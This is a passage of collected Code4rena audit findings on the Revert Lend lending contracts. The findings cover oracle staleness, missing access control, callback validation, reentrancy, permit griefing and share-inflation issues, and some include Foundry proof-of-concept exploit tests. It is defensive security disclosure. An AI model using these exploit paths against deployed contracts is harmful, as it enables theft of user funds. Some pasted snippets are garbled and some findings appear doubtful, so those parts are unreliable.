            chainlinkReferencePriceX96 = cachedChainlinkReferencePriceX96 == 0
                ? _getChainlinkPriceX96(referenceToken)
                : cachedChainlinkReferencePriceX96;

            chainlinkPriceX96 = (10 ** referenceTokenDecimals) * chainlinkPriceX96 * Q96 / chainlinkReferencePriceX96
                / (10 ** feedConfig.tokenDecimals);

            if (feedConfig.mode == Mode.TWAP_CHAINLINK_VERIFY) {
                verifyPriceX96 = chainlinkPriceX96;
            } else {
                priceX96 = chainlinkPriceX96;
            }
        }

As we can see from the previous snippet of code, if it is not in Mode.TWAP_CHAINLINK_VERIFY, then no validation is done. This means that it can returnn an invalid or stale price

The potentially incorrect price is then used during liquidations to chech if the loans are healthy. An invalid response could lead to the liquidation of a healthy position or the accumulation of bad debt, depending on the invalid response provided.
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L703

        (state.isHealthy, state.fullValue, state.collateralValue, state.feeValue) =
            _checkLoanIsHealthy(params.tokenId, state.debt);
        if (state.isHealthy) {
            revert NotLiquidatable();
        }

The price is then used in the V3Vault contract to get the info of a loan and to determine if the loan is healthy.
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L248

    function loanInfo(uint256 tokenId)
        external
        view
        override
        returns (
            uint256 debt,
            uint256 fullValue,
            uint256 collateralValue,
            uint256 liquidationCost,
            uint256 liquidationValue
        )
    {
        (uint256 newDebtExchangeRateX96,) = _calculateGlobalInterest();

        debt = _convertToAssets(loans[tokenId].debtShares, newDebtExchangeRateX96, Math.Rounding.Up);

        bool isHealthy;
        (isHealthy, fullValue, collateralValue,) = _checkLoanIsHealthy(tokenId, debt);

        if (!isHealthy) {
            (liquidationValue, liquidationCost,) = _calculateLiquidation(debt, fullValue, collateralValue);
        }
    }

This response is also used during transform() to check if the loan is healthy. Any invalid price here will mean bad debt loans getting transformed while good loans won't, depending on the invalid response returned.
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L540

Recommendation

Make sure prices coming from Chainlink are correctly validated.

Assessed type

Oracle

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Oracle.sol#L144
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Oracle.sol#L145

Vulnerability details

Impact

The potential for a division by zero arises if either priceX96 or verifyPriceX96 is zero, which could occur under specific circumstances, for example, if a token's price has not been properly updated or initialized. Division by zero in Solidity results in a transaction revert, which prevents the operation from continuing but could disrupt the intended flow of the contract.

Proof of Concept

In the V3Oracle contract, specifically at the lines 144 and 145:

function _requireMaxDifference(uint256 priceX96, uint256 verifyPriceX96, uint256
maxDifferenceX10000)
internal
pure
{
uint256 differenceX10000 = priceX96 > verifyPriceX96
// line 144
? (priceX96 - verifyPriceX96) * 10000 / priceX96
// line 145
: (verifyPriceX96 - priceX96) * 10000 / verifyPriceX96;
// if too big difference - revert
if (differenceX10000 >= maxDifferenceX10000) {
revert PriceDifferenceExceeded();
}
}

Tools Used

VS code and Oylmpix app

Recommended Mitigation Steps

To safeguard against this issue, you can implement checks that ensure neither priceX96 nor verifyPriceX96 is zero before performing the division. Here is how you might adjust the code to include such a safeguard:

function _requireMaxDifference(uint256 priceX96, uint256 verifyPriceX96, uint256 maxDifferenceX10000)
internal
pure
{
// added require statement here
require(priceX96 > 0 && verifyPriceX96 > 0, "Prices must be greater than zero");

uint256 differenceX10000 = priceX96 > verifyPriceX96
    ? (priceX96 - verifyPriceX96) * 10000 / priceX96
    : (verifyPriceX96 - priceX96) * 10000 / verifyPriceX96;

if (differenceX10000 >= maxDifferenceX10000) {
    revert PriceDifferenceExceeded();
}

}

This adjustment includes a require statement to ensure that neither priceX96 nor verifyPriceX96 is zero before proceeding with the calculation, effectively preventing a division by zero error. If either price is zero, the function will revert with the message "Prices must be greater than zero," which helps to identify and prevent the operation from proceeding under unsafe conditions.

Assessed type

Oracle

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Oracle.sol#L329

Vulnerability details

Impact

No check for round completeness could lead to stale prices and wrong price return value, or outdated price. The functions rely on accurate price feed might not work as expected, sometimes can lead to fund loss.

If there is a problem with chainlink starting a new round and finding consensus on the new value for the oracle (e.g. chainlink nodes abandon the oracle, chain congestion, vulnerability/attacks on the chainlink system) consumers of this contract may continue using outdated stale data (if oracles are unable to submit no new round is started).
This could lead to stale prices and wrong price return value, or outdated price.

As a result, the functions rely on accurate price feed might not work as expected, sometimes can lead to fund loss. The impacts vary and depends on the specific situation like the following:

$incorrect liquidation$
some users could be liquidated when they should not
no liquidation is performed when there should be
$wrong price feed$
causing inappropriate loan being taken, beyond the current collateral factor
too low price feed affect normal bor

Description

The oracle wrapper _getChainlinkPriceX96() call out to an oracle with latestRoundData() to get the price of some token. Although the returned timestamp is checked, there is no check for round completeness.

According to Chainlink's documentation, this function does not error if no answer has been reached but returns 0 or outdated round data. The external Chainlink oracle, which provides index price information to the system, introduces risk inherent to any dependency on third-party data sources. For example, the oracle could fall behind or otherwise fail to be maintained, resulting in outdated data being fed to the index price calculations. Oracle reliance has historically resulted in crippled on-chain systems, and complications that lead to these outcomes can arise from things as simple as network congestion.

For Reference Chainlink documentation: https://docs.chain.link/docs/historical-price-data/#historical-rounds

Tools Used

Manual Review

Recommended Mitigation Steps

Validate data feed for round completeness:

(uint80 roundID , answer ,, uint256 timestamp , uint80
ë answeredInRound ) = AggregatorV3Interface ( chainLinkAggregatorMap [
ë underlying ]) . latestRoundData () ;
66
67 require ( answer > 0, "" Chainlink price <= 0"");
68 require ( answeredInRound >= roundID , "" Stale price "");
69 require ( timestamp != 0, "" Round not complete ")

Assessed type

Oracle

Lines of code

337

Vulnerability details

latestRoundData may return invalid data, and there aren't any checks to ensure that this doesn't happen.

This can be caused by any issues with Chainlink, such as oracle consensus problems or chain congestion, which may result in this contract relying on outdated data.

File: src/V3Oracle.sol

// @audit missing price check, which could be equal to 0
337: 		        (, int256 answer,, uint256 updatedAt,) = feedConfig.feed.latestRoundData();

Assessed type

other

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/ac520c5fedf4e1654c597a46efaf5a7c27295de1/src/V3Vault.sol#L386

Vulnerability details

Impact

The first depositor can break the minting of shares, making other subsequent users to not receive shares.

function deposit(uint256 assets, address receiver, bytes calldata permitData) external override returns (uint256) {
        (, uint256 shares) = _deposit(receiver, assets, false, permitData);
        return shares;
    }

https://github.com/code-423n4/2024-03-revert-lend/blob/ac520c5fedf4e1654c597a46efaf5a7c27295de1/src/V3Vault.sol#L386

Vulnerability Details

The first depositor can break the minting of shares. The attack vector and impact is the same as TOB-YEARN-003, where users may not receive shares in exchange for their deposits if the total asset amount has been manipulated through a large “donation”.

The vulnerability is caused by not minting/locking a portion of the first minted tokens to the zero address in order to prevent manipulation by the first depositor. A malicious first depositor can perform the first depositor attack during the first mint of shares, making other subsequent users to not receive shares.

Tools Used

Manual Review

Recommended Mitigation Steps

Mint an initial number of "dead shares", similar to how UniswapV2 does.

Assessed type

ERC20

See the markdown file with the details of this report here.

See the markdown file with the details of this report here.

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/transformers/LeverageTransformer.sol#L40-L96
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/transformers/LeverageTransformer.sol#L123-L175

Vulnerability details

Impact

The LeverageTransformer.sol contract has leverageUp and leverageDown functions, which are intended to be called from the V3Vault.sol contract. However, the mentioned functions lack proper msg.sender validation, which allows malicious contracts to call those functions and steal stuck funds on the contract.

Proof of Concept

For a malicious contract to steal stuck funds, the following things must be true about the state of the contract.

1. There must be an NFT in the nonfungiblePossitionManager with the tokens that the attacker wants to steal.
2. One of two tokens of the position NFT must be stuck on the contract.
   If those two things are true the attacker can create a malicious contract with the function asset() and borrow() and call the leverageUp or leverageDown function through the malicious contract in a way that enables them to steal the stuck funds.

    function leverageUp(LeverageUpParams calldata params) external {
        uint256 amount = params.borrowAmount;

        address token = IVault(msg.sender).asset();

        IVault(msg.sender).borrow(params.tokenId, amount);

[...]

        // send leftover tokens
        if (amount0 > added0) {
            SafeERC20.safeTransfer(IERC20(token0), params.recipient, amount0 - added0);
        }
        if (amount1 > added1) {
            SafeERC20.safeTransfer(IERC20(token1), params.recipient, amount1 - added1);
        }
        if (token != token0 && token != token1 && amount > 0) {
            SafeERC20.safeTransfer(IERC20(token), params.recipient, amount);
        }
    }

    function leverageDown(LeverageDownParams calldata params) external {
        address token = IVault(msg.sender).asset();

[...]

        IVault(msg.sender).repay(params.tokenId, amount, false);

        // send leftover tokens
        if (amount0 > 0 && token != token0) {
            SafeERC20.safeTransfer(IERC20(token0), params.recipient, amount0);
        }
        if (amount1 > 0 && token != token1) {
            SafeERC20.safeTransfer(IERC20(token1), params.recipient, amount1);
        }
    }

Tools Used

Manual review.

Recommended Mitigation Steps

Consider adding a mechanism for checking the msg.sender and the following check in the code:

require( msg.sender == Vaultaddr )

Assessed type

Invalid Validation

See the markdown file with the details of this report here.

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/utils/FlashloanLiquidator.sol#L67

Vulnerability details

Impact

To enhance the security of the FlashloanLiquidator contract and ensure that the uniswapV3FlashCallback function can only be called by the expected Uniswap V3 pool addresses, the contract requires a verification mechanism. Here, I'll outline the complete uniswapV3FlashCallback function with the added verification step and illustrate the necessary changes to support this verification, including maintaining a registry of valid Uniswap V3 pools.

Proof of Concept

Unmodified function:
function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata callbackData) external {
// no origin check is needed - because the contract doesn't hold any funds - there is no benefit in calling uniswapV3FlashCallback() from another context

    FlashCallbackData memory data = abi.decode(callbackData, (FlashCallbackData));

    SafeERC20.safeApprove(data.asset, address(data.vault), data.liquidationCost);
    data.vault.liquidate(
        IVault.LiquidateParams(
            data.tokenId, data.debtShares, data.swap0.amountIn, data.swap1.amountIn, address(this), ""
        )
    );
    SafeERC20.safeApprove(data.asset, address(data.vault), 0);

    // do swaps
    _routerSwap(data.swap0);
    _routerSwap(data.swap1);

    // transfer lent amount + fee (only one token can have fee) - back to pool
    SafeERC20.safeTransfer(data.asset, msg.sender, data.liquidationCost + (fee0 + fee1));

    // return all leftover tokens to liquidator
    if (data.swap0.tokenIn != data.asset) {
        uint256 balance = data.swap0.tokenIn.balanceOf(address(this));
        if (balance > 0) {
            SafeERC20.safeTransfer(data.swap0.tokenIn, data.liquidator, balance);
        }
    }
    if (data.swap1.tokenIn != data.asset) {
        uint256 balance = data.swap1.tokenIn.balanceOf(address(this));
        if (balance > 0) {
            SafeERC20.safeTransfer(data.swap1.tokenIn, data.liquidator, balance);
        }
    }
    {
        uint256 balance = data.asset.balanceOf(address(this));
        if (balance < data.minReward) {
            revert NotEnoughReward();
        }
        if (balance > 0) {
            SafeERC20.safeTransfer(data.asset, data.liquidator, balance);
        }
    }
}

Tools Used

VS code with the Oylmpix app

Recommended Mitigation Steps

In the revised uniswapV3FlashCallback function and the surrounding contract setup, several key changes were made to enhance security and functionality:

1. Verification of Callback Source: The most critical addition was the introduction of a check to verify that the callback is being invoked by a Uniswap V3 pool that is recognized and explicitly allowed by the contract. This is achieved through a require(validPools[msg.sender], "FlashloanLiquidator: Invalid pool callback"); statement, which ensures that only callbacks from pools previously approved and stored in the validPools mapping are accepted. This mitigates the risk of unauthorized or spoofed callbacks, which could potentially lead to unexpected contract behavior or vulnerabilities being exploited.

2. Maintaining a Registry of Valid Pools: To support the verification mechanism, a validPools mapping was introduced. This mapping acts as a registry of Uniswap V3 pools that are permitted to initiate the flash loan callback. This design allows the contract owner or another administrative entity to control which pools are considered safe for interaction, adding a layer of governance over the contract's external dependencies.

3. Decoupling Leftover Asset Transfers: The logic for handling the transfer of leftover assets to the liquidator after swaps and repayments was abstracted into a separate private function, _transferLeftoverAssets. This change improves the readability ofthe uniswapV3FlashCallback function by isolating a specific operational concern (i.e., managing leftover assets) from the main logic flow of the callback. It also enhances maintainability, as modifications related to asset transfer logistics can now be managed independently without affecting the core callback logic.

4. Clarifying the Repayment Process: The revised callback function explicitly calculates the total repayment amount (including fees) and performs the repayment in a single transfer operation. This makes the repayment step more transparent and ensures that all obligations (principal and fees) to the flash loan provider are settled concisely.

5. Reinforcing Safety Checks: By requiring an exact match between the msg.sender and the expected flash loan pool (data.flashLoanPool), the contract enforces that the callback is a result of a legitimate flash loan operation initiated by the contract itself. This double-check (valid pool and expected pool) significantly reduces the risk of manipulated or unintended flash loan interactions.

6. Why These Changes?: These adjustments are primarily focused on safeguarding the contract against potential vulnerabilities associated with flash loans and external callbacks. The explicit validation of the callback source addresses a common concern in DeFi protocols where contracts interact with external entities. The structural and organizational changes, like abstracting out the asset transfer logic, aim to make the contract more readable, auditable, and easier to maintain or extend in the future.

Step 1: Maintain a Registry of Valid Pools
First, add a mapping to the contract to keep track of valid Uniswap V3 pools that are allowed to initiate a flash loan callback:

mapping(address => bool) public validPools;

Step 2: Update the liquidate Function
In the liquidate function, where you're setting up the flash loan, you should ensure the pool being used is marked as valid in the validPools mapping. This step is more about the conceptual change rather than a specific code block within liquidate, as it depends on how your contract interacts with the pools. Here's a conceptual example:

function setupPool(address poolAddress) external onlyOwner {
validPools[poolAddress] = true;
}

You might have a function like the above to setup pools, or you might directly integrate this step into the existing logic where pools are interacted with, ensuring that any pool address used is marked valid.

Step 3: Implement uniswapV3FlashCallback with Verification
Now, incorporate the callback verification in the uniswapV3FlashCallback function:

function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata callbackData) external override {
// Ensure the caller is a valid Uniswap V3 pool
require(validPools[msg.sender], "FlashloanLiquidator: Invalid pool callback");

FlashCallbackData memory data = abi.decode(callbackData, (FlashCallbackData));

// Ensure the callback is due to a flash loan from the expected pool
require(IUniswapV3Pool(msg.sender) == data.flashLoanPool, "FlashloanLiquidator: Unexpected flash loan source");

SafeERC20.safeApprove(data.asset, address(data.vault), data.liquidationCost);
data.vault.liquidate(
    IVault.LiquidateParams(
        data.tokenId, data.debtShares, data.swap0.amountIn, data.swap1.amountIn, address(this), ""
    )
);
SafeERC20.safeApprove(data.asset, address(data.vault), 0);

// Execute the swaps as needed
if (data.swap0.amountIn > 0) {
    _routerSwap(data.swap0);
}
if (data.swap1.amountIn > 0) {
    _routerSwap(data.swap1);
}

// Return the borrowed amount plus fees back to the pool
uint256 repaymentAmount = data.liquidationCost + fee0 + fee1;
SafeERC20.safeTransfer(data.asset, msg.sender, repaymentAmount);

// Handle leftover asset transfers
_transferLeftoverAssets(data.asset, data.swap0.tokenIn, data.swap1.tokenIn, data.liquidator, data.minReward);

}

function _transferLeftoverAssets(
IERC20 asset,
IERC20 token0,
IERC20 token1,
address liquidator,
uint256 minReward
) private {
// Logic to transfer leftover assets to the liquidator, ensuring minReward is respected
// Similar to existing logic, including checks and balances transfers
}

In the modified version of uniswapV3FlashCallback, there's an explicit check to ensure that the callback is executed by a valid and expected Uniswap V3 pool.
This mechanism significantly improves the security of the flash loan process by preventing unauthorized or unexpected calls to this critical function. Additionally, the logic for transferring leftover assets has been refactored into a separate private function _transferLeftoverAssets for clarity and maintainability, assuming you maintain data.flashLoanPool in FlashCallbackData for the direct comparison.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L401

Vulnerability details

Vulnerability details

Bug Description

In create, a token transfer is triggered without a reentrancy guard in place which can lead to exploits. The function also doesn't follow CEI (Checks and Effects Interaction pattern) which means to make neccessary checks and update the contract's state before makinng any external calls. The function in it's current implementation is vulnerabile to reentrancy attacks.
V3Vault.sol#L401C36-L401C52

    function create(uint256 tokenId, address recipient) external override {
        nonfungiblePositionManager.safeTransferFrom(msg.sender, address(this), tokenId, abi.encode(recipient));
    }

Impact

Theft of funds through reentrancy exploits. The lack of a reentrancy guard and necessary state updates before the external call leaves the function open to reentrancy attacks which can lead to a theft of funds.

Recommended Mitigation

Consider Implementing a reentrancy guard on the create function.

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/457230945a49878eefdc1001796b10638c1e7584/src/V3Vault.sol#L410-L425
https://github.com/code-423n4/2024-03-revert-lend/blob/457230945a49878eefdc1001796b10638c1e7584/src/transformers/V3Utils.sol#L98-L110

Vulnerability details

Impact

The V3Vault.sol and V3Utils.sol contracts have createWithPermit and executeWithPermit functions, that use IERC721Permit's permit which can be frontrunned and blocked.

The mentioned functions internally call permit() function. However, this flow exposes the mentioned functions to a griefing attack, where an attacker can forcibly block the victim's transaction.

Proof of Concept

    function createWithPermit(
        uint256 tokenId,
        address owner,
        address recipient,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external override {
        if (msg.sender != owner) {
            revert Unauthorized();
        }

        nonfungiblePositionManager.permit(address(this), tokenId, deadline, v, r, s);
        nonfungiblePositionManager.safeTransferFrom(owner, address(this), tokenId, abi.encode(recipient));
    }

    function executeWithPermit(uint256 tokenId, Instructions memory instructions, uint8 v, bytes32 r, bytes32 s)
        public
        returns (uint256 newTokenId)
    {
        if (nonfungiblePositionManager.ownerOf(tokenId) != msg.sender) {
            revert Unauthorized();
        }

        nonfungiblePositionManager.permit(address(this), tokenId, instructions.deadline, v, r, s);
        return execute(tokenId, instructions);
    }

1. The attacker front-runs the victim's transaction,
2. extracts parameters from the mempool, and places a transaction that directly calls nonfungiblePositionManager.permit() with parameters given by the victim,
3. the victim calls mentioned functions and the transaction reverts since parameters have already been used for permit() in the attacker's transaction.

Tools Used

Manual review.

Recommended Mitigation Steps

Consider adding try/cath, or if block, so if the permit() is already called, just check the allowance of msg.sender and skip the call to pemit():

An example from The Grapgh:

        IERC20WithPermit token = IERC20WithPermit(address(graphToken));
        // Try permit() before allowance check to advance nonce if possible
        try token.permit(_owner, _spender, _value, _deadline, _v, _r, _s) {
            return;
        } catch Error(string memory reason) {
            // Check for existing allowance before reverting
            if (token.allowance(_owner, _spender) >= _value) {
                return;
            }

            revert(reason);
        }

Assessed type

Other

Lines of code

728, 946, 226, 272, 88, 91, 872, 85, 98, 167

Vulnerability details

Not all ERC20 implementations are totally compliant, and some (e.g LEND) may fail while transfering a zero amount.

File: src/V3Vault.sol

728: 		            SafeERC20.safeTransferFrom(IERC20(asset), msg.sender, address(this), state.liquidatorCost);

946: 		        SafeERC20.safeTransfer(IERC20(asset), receiver, assets);

File: src/automators/Automator.sol

226: 		            SafeERC20.safeTransfer(token, to, amount);

File: src/transformers/AutoCompound.sol

272: 		        SafeERC20.safeTransfer(IERC20(token), to, amount);

File: src/transformers/LeverageTransformer.sol

88: 		            SafeERC20.safeTransfer(IERC20(token0), params.recipient, amount0 - added0);

91: 		            SafeERC20.safeTransfer(IERC20(token1), params.recipient, amount1 - added1);

File: src/transformers/V3Utils.sol

872: 		            SafeERC20.safeTransfer(token, to, amount);

File: src/utils/FlashloanLiquidator.sol

85: 		        SafeERC20.safeTransfer(data.asset, msg.sender, data.liquidationCost + (fee0 + fee1));

File: src/utils/Swapper.sol

98: 		                SafeERC20.safeTransfer(params.tokenIn, universalRouter, params.amountIn);

167: 		        SafeERC20.safeTransfer(IERC20(tokenIn), msg.sender, amountToPay);

Assessed type

other

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L550-L602

Vulnerability details

Impact

The protocol uses reserves as a way to maintain stability and it's used as a way to cover liquidatable positions, and as a profit, where the owner can withdraw these reserves. These reserves shouldn't be exposed to borrowers, however, in the borrow function there isn't a check to validate the borrowed amount and users can borrow the reserved assets. This causes a loss of funds and profit for the protocol.

Proof of Concept

function testCanBorrowReserves() public {
    vault.setLimits(1e6, 150e6, 150e6, 150e6, 150e6);

    vm.startPrank(WHALE_ACCOUNT);
    USDC.approve(address(vault), type(uint256).max);
    vault.deposit(7e6, WHALE_ACCOUNT);
    // Protocol will have 1e6 as Reserves
    USDC.transfer(address(vault), 1e6);
    vm.stopPrank();

    address USER_1 = TEST_NFT_ACCOUNT;
    uint256 USER_1_NFT = TEST_NFT;

    vm.startPrank(USER_1);
    NPM.approve(address(vault), USER_1_NFT);
    vault.create(USER_1_NFT, USER_1);
    vm.stopPrank();

    vm.prank(USER_1);
    // User is able to take a loan of 8e6 (7e6 liquidity + 1e6 reserves)
    vault.borrow(USER_1_NFT, 8e6);
}

Tools Used

Manual review

Recommended Mitigation Steps

Add a condition in V3Vault::borrow that checks if the protocol can handle the borrowed amount without using its reserves.

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Oracle.sol#L95

Vulnerability details

Impact

Missing checks for whether Arbitrum Sequencer is active

Description

Since the protocol is also going to get deployed in Arbitrum, Chainlink recommends that users using price oracles, check whether the Arbitrum sequencer is active
https://docs.chain.link/data-feeds/l2-sequencer-feeds#handling-arbitrum-outages

If the sequencer goes down, the index oracles may have stale prices, since L2-submitted transactions (i.e. by the aggregating oracles) will not be processed.

Stale prices, e.g. if USDC were to de-peg while the sequencer is offline, stale price is used and can result in false liquidation or over-borrowing.

Tool used
Manual Review

Recommended Mitigation Steps

Use sequencer oracle to determine whether the sequencer is offline or not, and don't allow orders to be executed while the sequencer is offline.
https://docs.chain.link/data-feeds/l2-sequencer-feeds#handling-arbitrum-outages

Assessed type

Oracle

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/457230945a49878eefdc1001796b10638c1e7584/src/utils/FlashloanLiquidator.sol#L67-L110

Vulnerability details

Impact

Uniswap V3's uniswapV3FlashCallback function is a callback that executes after a flash loan. It checks the fees collected and ensures that they are repaid to the pool.

• To verify that the call originated from a genuine V3 pool, each callback must be validated.
• If the call is not validated, the pool contract would be vulnerable to attack via an EOA manipulating the callback function.

Hence, the callback must be validated to verify that the call originated from a genuine V3 pool. Otherwise,pool contract would be vulnerable to attack via an EOA manipulating the callback function.

The uniswap has provided a library function to help with this validation.

  function verifyCallback(
    address factory,
    address tokenA,
    address tokenB,
    uint24 fee
  ) internal returns (contract IUniswapV3Pool pool)

https://docs.uniswap.org/contracts/v3/reference/periphery/libraries/CallbackValidation

This check is currently missing in the current implementation.

Proof of Concept

Refer to the guidance from uniswap

https://docs.uniswap.org/contracts/v3/guides/flash-integrations/flash-callback

    function uniswapV3FlashCallback(
        uint256 fee0,
        uint256 fee1,
        bytes calldata data
    ) external override {
        FlashCallbackData memory decoded = abi.decode(data, (FlashCallbackData));
        CallbackValidation.verifyCallback(factory, decoded.poolKey);
        ... 
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Use the CallbackValidaion library's verifyCallback function.

Assessed type

Uniswap

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/automators/AutoExit.sol#L200
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/automators/Automator.sol#L221

Vulnerability details

Impact

Malicious actor can launch a gas griefing attack on a operator executing execute in AutoExit.sol. Since griefing attacks have no economic incentive for the attacker and it also requires operators it should be Medium severity.

Proof of Concept

The execute function is meant to be called by a "revert controlled bot (operator)".
However the execute function in AutoExit.sol calls _transferToken which will perform the following unsafe external call if the token being passed is WETH:

(bool sent,) = to.call{value: amount}("");

Now (bool sent, ) is actually the same as writing (bool sent, bytes memory data) which basically means that even though the data is omitted it doesn’t mean that the contract does not handle it. Actually, the way it works is the bytes data that was returned from the "to" address will be copied to memory. Memory allocation becomes very costly if the payload is big, so this means that if a "to address" implements a fallback function that returns a huge payload, then the msg.sender of the transaction, in our case the "revert controlled bot (operator)", will have to pay a huge amount of gas for copying this payload to memory.

Tools Used

Manual Review

Recommended Mitigation Steps

Use a low-level assembly call since it does not automatically copy return data to memory

bool success;
assembly {
    success := call(gasLimit, to, amount, 0, 0, 0, 0)
}

Assessed type

ETH-Transfer

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/457230945a49878eefdc1001796b10638c1e7584/src/V3Oracle.sol#L337
https://github.com/code-423n4/2024-03-revert-lend/blob/457230945a49878eefdc1001796b10638c1e7584/src/V3Oracle.sol#L338

Vulnerability details

Impact

The current implementation does not checks for if the price returned from the chainlink oracle is equal to '0'. Secondly, call to latestRoundData() could potentially revert and make it impossible to query any prices.

Proof of Concept

The checks for the call to latestRoundData() include:

(, int256 answer,, uint256 updatedAt,) = feedConfig.feed.latestRoundData();
        if (updatedAt + feedConfig.maxFeedAge < block.timestamp || answer < 0) {
            revert ChainlinkPriceError();
        }

One very minor detail that was missed here is the check for if the value of answer is 0. The correct fix will include checking for that value as well as shown in recommended fixes.

Chainlink’s multisigs can immediately block access to price feeds at will. Therefore, to prevent denial of service scenarios, it is recommended to query Chainlink price feeds using a defensive approach with Solidity’s try/catch structure.

In this way, if the call to the price feed fails, the caller contract is still in control and can handle any errors safely and explicitly.

(, int256 answer,, uint256 updatedAt,) = feedConfig.feed.latestRoundData();
        if (updatedAt + feedConfig.maxFeedAge < block.timestamp || answer < 0) {
            revert ChainlinkPriceError();
        }

Please refer to https://blog.openzeppelin.com/secure-smart-contract-guidelines-the-dangers-of-price-oracles/ for more information regarding potential risks to account for when relying on external price feed providers.

Tools Used

VS Code

Recommended Mitigation Steps

Adding an equal-to sign in the current implementation should suffice for the former:

(, int256 answer,, uint256 updatedAt,) = feedConfig.feed.latestRoundData();
        if (updatedAt + feedConfig.maxFeedAge < block.timestamp || answer <= 0) {
            revert ChainlinkPriceError();
        }

For the latter, surround the call to latestRoundData() with try-catch instead of calling it directly. In a scenario where the call reverts, the catch block can be used to call a fallback oracle or handle the error in any other suitable way.

try feedConfig.feed.latestRoundData() returns uint80 roundId, int256 answer, uint256, uint256 updatedAt, uint80 answeredInRound {
    if (updatedAt + feedConfig.maxFeedAge < block.timestamp || answer < 0) {
                revert ChainlinkPriceError();
    }
} catch {
     //do something here
}
        

Assessed type

Oracle

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Oracle.sol#L324

Vulnerability details

Impact

When price rallies, for example, in the case of UNI price spiked recently, TWAP may not be able to catch up easily with Chainlink price oracle. Hence, if the price diff is set too small, then the V3Oracle will revert. This means users will not be able to modify any of the positions, including liquidators. If price continues to rally, then this can end up with bad debt into the system due to underwater positions (see CompoundV2's case here: https://twitter.com/ChainLinkGod/status/1761061618983841828. This event has caused $3m bad debt to Compound v2 since TWAP did not catch up, causing oracle reverts during the UNI price pump).

Proof of Concept

The V3Oracle can read the price from 2 main sources: Chainlink and TWAP to sanity check the values. If the difference exceeds the set threshold, then the oracle reverts.

Now, if the threshold is too low, then the oracle reverts as in the UNI case mentioned above. If it is set too high, then the spot price becomes more manipulatable (since the same threshold is used for TWAP deviation and the spot price deviation), and the Uniswap V3 position can be priced incorrectly and can lead to bad liquidation (for example, the liquidator can manipulate the price of LP to be lower than what it should be, and triggers the liquidation, and getting higher shares of LP -> getting even more value).

Tools Used

Manual Review

Recommended Mitigation Steps

• Avoid using TWAP.
• Use Uniswap V3 fair price, which determines directly from lower & upper ticks. See reference implementation here: https://github.com/makerdao/univ3-lp-oracle

Assessed type

Oracle

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L384-L387
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L893-L898

Vulnerability details

Impact

User can specify any erc20 token deposit into the vault and borrow target vault asset. assume the erc20 token in vault is USDC, user can deposit DAI into vault and borrow USDC. NOTE that USDC is 6 decimals and DAI is 18 decimals. Result in vault lost of funds.

Proof of Concept

User can use permitData interact with permit2 contract to send token to vault
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L893-L898

if (permitData.length > 0) {
    (ISignatureTransfer.PermitTransferFrom memory permit, bytes memory signature) =
        abi.decode(permitData, (ISignatureTransfer.PermitTransferFrom, bytes));
    permit2.permitTransferFrom(
        permit, ISignatureTransfer.SignatureTransferDetails(address(this), assets), msg.sender, signature
);

then user get a certain vault shares depending on the amount.
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L885-L891

if (isShare) {
            shares = amount;
            assets = _convertToAssets(shares, newLendExchangeRateX96, Math.Rounding.Up);
        } else {
            assets = amount;
        @>  shares = _convertToShares(assets, newLendExchangeRateX96, Math.Rounding.Down);
}

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L904

    _mint(receiver, shares);

However user can specify any erc20 token protocol doesn't check the erc20 token

Here is my test add to V3Vault.t.sol:

• bob deposit 10e6 USDC
• alice deposit 2e6 DAI
• alice borrow 8e6 USDC

    function testDepositToVaultCanBeAnyToken() external {
        uint256 amount = 2e6;
        uint256 privateKey = 123;
        address alice = vm.addr(privateKey);
        address bob = vm.addr(456);

        //set bob 10e6 USDC.
        deal(address(USDC),bob,10e6);

        vm.prank(alice);
        DAI.approve(PERMIT2, type(uint256).max);

        //set alice 2e6 DAI.
        deal(address(DAI),alice,amount);

        //first bob deposit some USDC.
        vm.prank(bob);
        USDC.approve(address(vault),type(uint256).max);
        vm.prank(bob);
        vault.deposit(10e6,bob);

        assertEq(USDC.balanceOf(address(vault)),10e6);
        console2.log("vault USDC bal after bob deposit:",USDC.balanceOf(address(vault)));

        vm.prank(alice);
        DAI.approve(PERMIT2, type(uint256).max);

        ISignatureTransfer.PermitTransferFrom memory tf = ISignatureTransfer.PermitTransferFrom(
